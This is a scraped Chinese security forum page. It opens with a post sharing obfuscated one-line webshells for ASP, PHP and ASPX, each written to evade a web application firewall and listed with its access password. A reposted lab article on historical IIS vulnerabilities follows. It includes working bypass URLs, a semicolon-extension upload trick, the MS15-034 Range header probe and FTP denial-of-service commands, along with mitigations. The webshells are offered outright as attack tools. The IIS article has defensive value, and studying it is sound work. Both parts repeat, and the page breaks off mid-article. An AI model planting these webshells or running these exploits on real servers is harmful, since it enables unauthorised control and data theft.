前几天自己找的变性的过狗一句话,希望能帮到大家。
asp:
       <%Y=request("x")%> <%execute(Y)%>    密码:x
           <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>   密码:sz
           <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>      密码:-7
php:
         <!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?--> 

           <!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?--> 

           <!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?--> 

           <!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?-->    前几个密码都是:sz
           <!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?--> 
密码:-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp,
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>     密码:-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%>    密码:sz
 
<script type="text/javascript" language="C#">// <![CDATA[  
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");    
// ]]></script>    密码:webadmin
  查看全部
前几天自己找的变性的过狗一句话,希望能帮到大家。
asp:
       <%Y=request("x")%> <%execute(Y)%>    密码:x
           <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>   密码:sz
           <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>      密码:-7
php:
         <!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?--> 

           <!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?--> 

           <!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?--> 

           <!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?-->    前几个密码都是:sz
           <!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?--> 
密码:-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp,
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>     密码:-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%>    密码:sz
 
<script type="text/javascript" language="C#">// <![CDATA[  
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");    
// ]]></script>    密码:webadmin
 

那些年让我们心惊胆战的IIS漏洞

sq_smile 发表了文章 • 0 个评论 • 103 次浏览 • 2019-01-08 21:20 • 来自相关话题

本文转自安全脉搏,为千里目实验室所写。
原文链接:https://www.secpulse.com/archives/82410.html​ 
一、 全球第三大网络服务器
Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统,不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器,落后于Apache 34.07%和Nginx 25.45%。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高危漏洞,将会出现范围广、影响深的特点。
 
目前IIS一共发行12个版本,从IIS 1.0版本至IIS 10.0版本,IIS 1.0-4.0已经基本退出市场,IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新,IIS自身的安全性也有了较大的提升。在2005-2018年期间,IIS漏洞呈现逐年减少的趋势,同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
 
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
 
从上述IIS漏洞统计表格可以看出,IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本,分别对应受影响漏洞12个、4个和2个,呈现受影响漏洞数量递减的趋势。同时,在历年的IIS版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
 二、 IIS漏洞分析
千里目实验室针对IIS近十几年(2005年以后)的35个漏洞进行和整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露,其中以MS15-034远程代码执行漏洞最为严重。
 
 
 
 
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
 
由上表可以看到,IIS历年漏洞主要以远程漏洞为主,占漏洞总数85.71%,本地漏洞有5个,占漏洞总数14.29%。其中5个本地漏洞分别是:(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现:
1.  缓冲区溢出漏洞
       1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
       1.1.1 漏洞描述:Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。  
       1.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析:
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:
NLST <SPACE> <pathname> <CRLF>,此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在pathname为NULL时,使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功,可能会导致受影响的FTP会话异常终止。
注意:为了成功利用此漏洞,NLST命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 搭建好IIS FTP靶机环境,测试anonymous默认匿名用户可用,且可创建和读写目录;
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常:
 
以上somefolder为FTP服务器上正常长度文件夹,NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度,服务器返回150,打开数据连接,成功执行命令。
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.x和6.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 2.  DOS拒绝服务漏洞
      2.1  (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞  CVE-2005-4360
      2.1.1 漏洞描述:Microsoft IIS处理某些畸形的HTTP请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.1
Ø 漏洞分析:IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如Perl脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的URL编码形式):
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符,后面跟一个十进制数字。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限;
 
 
2. 浏览器发送恶意url远程访问靶机环境,复现成功,服务器返回500错误:
  Eg:http://192.168.180.200/_vti_bin/.dll/\~0
 
 
 
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.1版本存在,升级IIS版本或者更新MS07-041补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。
 2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞   CVE-2009-2521
      2.2.1 漏洞描述:IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务(守护进程崩溃)。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析:
通过包含通配符的list(ls)-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件,即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件:
(1)一个有效的ftp帐户,拥有只读或写入权限;
(2)“FTP发布”服务必须在启动类型中配置为“手动”模式;
(3) FTP根目录下至少有一个目录。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 添加FTP服务器角色,IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
 
 
2. 配置ftp默认用户anonymous/anonymous,拥有读写目录权限;
3. 目录下创建一个文件夹BB,然后输入ls "-R p*/../",成功复现DOS拒绝服务,ftp连接关闭:
 
中间很多重复:
p*/../BB:
BB
 
 
FTP服务器提示“远程主机关闭连接”,FTP拒绝服务,漏洞复现成功。
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.0-7.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 3.  认证绕过漏洞3.1  IIS认证绕过和源码泄露漏洞复现
       3.1.1 漏洞描述:Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
 3.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0、IIS 7.5
Ø 漏洞分析:Microsoft IIS由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:
(1) 安装了PHP的Microsoft IIS 6.0身份验证绕过:
IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露;
 Eg:/admin::$INDEX_ALLOCATION/index.php
(2) Microsoft IIS 7.5经典ASP身份验证绕过:
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制;
Eg:举例:/admin:$i30:$INDEX_ALLOCATION/index.asp
(3) Microsoft IIS 7.5 .NET源代码公开和身份验证绕过:
在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;
Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。
Eg:  http://<victimIIS75>/Default.aspx/.php   (php任意代码执行)
Ø 漏洞类型:可远程利用,可触发认证绕过和信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:
1. IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;
 
 
 
 
2. 配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;
 
3. 接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问:
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;
 
4. 除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行;
Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;
 
a. 正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:
 
b. 通过在末尾加上/.php,成功执行php代码:
 
Ø 漏洞缓解:
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响;
2. 攻击者需要事先获取IIS服务器受认证保护目录;
 4.  信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
        4.1.1 漏洞描述:IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
        4.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0-10.0全系列版本
Ø 漏洞分析:Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号,可以对IIS服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。
Ø 漏洞类型:可远程利用,可触发信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot,输入“dir /x”查看已存在的短文件名:
 
2. 使用公开POC或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:
 
 
Ø 漏洞缓解:
1. 限制IIS服务器HTTP方法,除了必要的GET、POST方法,其他HTTP方法建议关闭,视情况开启;
2. IIS服务器文件建议使用复杂字符或者中文命名,增加后期攻击者暴力破解难度;
3. 针对已存在的IIS服务器,建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注:详细原理和解决方案请参考:https://www.freebuf.com/articles/web/172561.html
 5.  代码执行漏洞
      5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞  CVE-2009-4444
      5.1.1 漏洞描述:IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
      5.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0
Ø 漏洞分析:此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时,被此畸形文件格式的分号截断了,认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell,控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型:可远程利用,文件上传绕过可触发代码执行
Ø 漏洞复现:
复现环境:Win server 2003 Sp2 32位企业版,默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件,用记事本打开,放入asp webshell代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);
 
2. 通过浏览器远程访问此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功执行asp webshell代码:
 
 
Ø 漏洞缓解:
1. 严格限制IIS第三方应用上传文件的格式;
2. 此漏洞仅影响IIS 6.0,其他版本解析asp文件不会被分号截断,可升级至无此漏洞的IIS版本。
   5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现  CVE-2015-1635 
      5.2.1 漏洞描述:Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞,该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。           5.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析:
    IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围,而缓存中则包含了http文件和大小信息等。
 根据公开POC,构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器,如果IIS服务器返回“Requested Range Not Satisfiable”,则存在漏洞,如果返回“The request has an invalid header name”或者没有回应,则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型:可远程利用,可触发代码执行
Ø 漏洞复现:
 复现环境:Win server 2008 R2 64位企业版,默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境,成功检测到漏洞:
 
Ø 漏洞缓解:
1. 禁用 IIS 内核缓存,详情见微软官方公告:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本,此版本不存在此漏洞。
 三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是IIS服务器,甚至可能是运行IIS的Windows主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。
  如果IIS服务器的网站配置不当,攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件,进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境,IIS漏洞都是一个极大的隐患,也让IIS网站管理员和不少运维人员心惊胆战。 查看全部
本文转自安全脉搏,为千里目实验室所写。
原文链接:https://www.secpulse.com/archives/82410.html​ 
一、 全球第三大网络服务器
Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统,不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器,落后于Apache 34.07%和Nginx 25.45%。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高危漏洞,将会出现范围广、影响深的特点。
 
目前IIS一共发行12个版本,从IIS 1.0版本至IIS 10.0版本,IIS 1.0-4.0已经基本退出市场,IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新,IIS自身的安全性也有了较大的提升。在2005-2018年期间,IIS漏洞呈现逐年减少的趋势,同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
 
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
 
从上述IIS漏洞统计表格可以看出,IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本,分别对应受影响漏洞12个、4个和2个,呈现受影响漏洞数量递减的趋势。同时,在历年的IIS版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
 二、 IIS漏洞分析
千里目实验室针对IIS近十几年(2005年以后)的35个漏洞进行和整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露,其中以MS15-034远程代码执行漏洞最为严重。
 
 
 
 
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
 
由上表可以看到,IIS历年漏洞主要以远程漏洞为主,占漏洞总数85.71%,本地漏洞有5个,占漏洞总数14.29%。其中5个本地漏洞分别是:(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现:
1.  缓冲区溢出漏洞
       1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
       1.1.1 漏洞描述:Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。  
       1.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析:
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:
NLST <SPACE> <pathname> <CRLF>,此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在pathname为NULL时,使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功,可能会导致受影响的FTP会话异常终止。
注意:为了成功利用此漏洞,NLST命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 搭建好IIS FTP靶机环境,测试anonymous默认匿名用户可用,且可创建和读写目录;
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常:
 
以上somefolder为FTP服务器上正常长度文件夹,NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度,服务器返回150,打开数据连接,成功执行命令。
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.x和6.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 2.  DOS拒绝服务漏洞
      2.1  (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞  CVE-2005-4360
      2.1.1 漏洞描述:Microsoft IIS处理某些畸形的HTTP请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.1
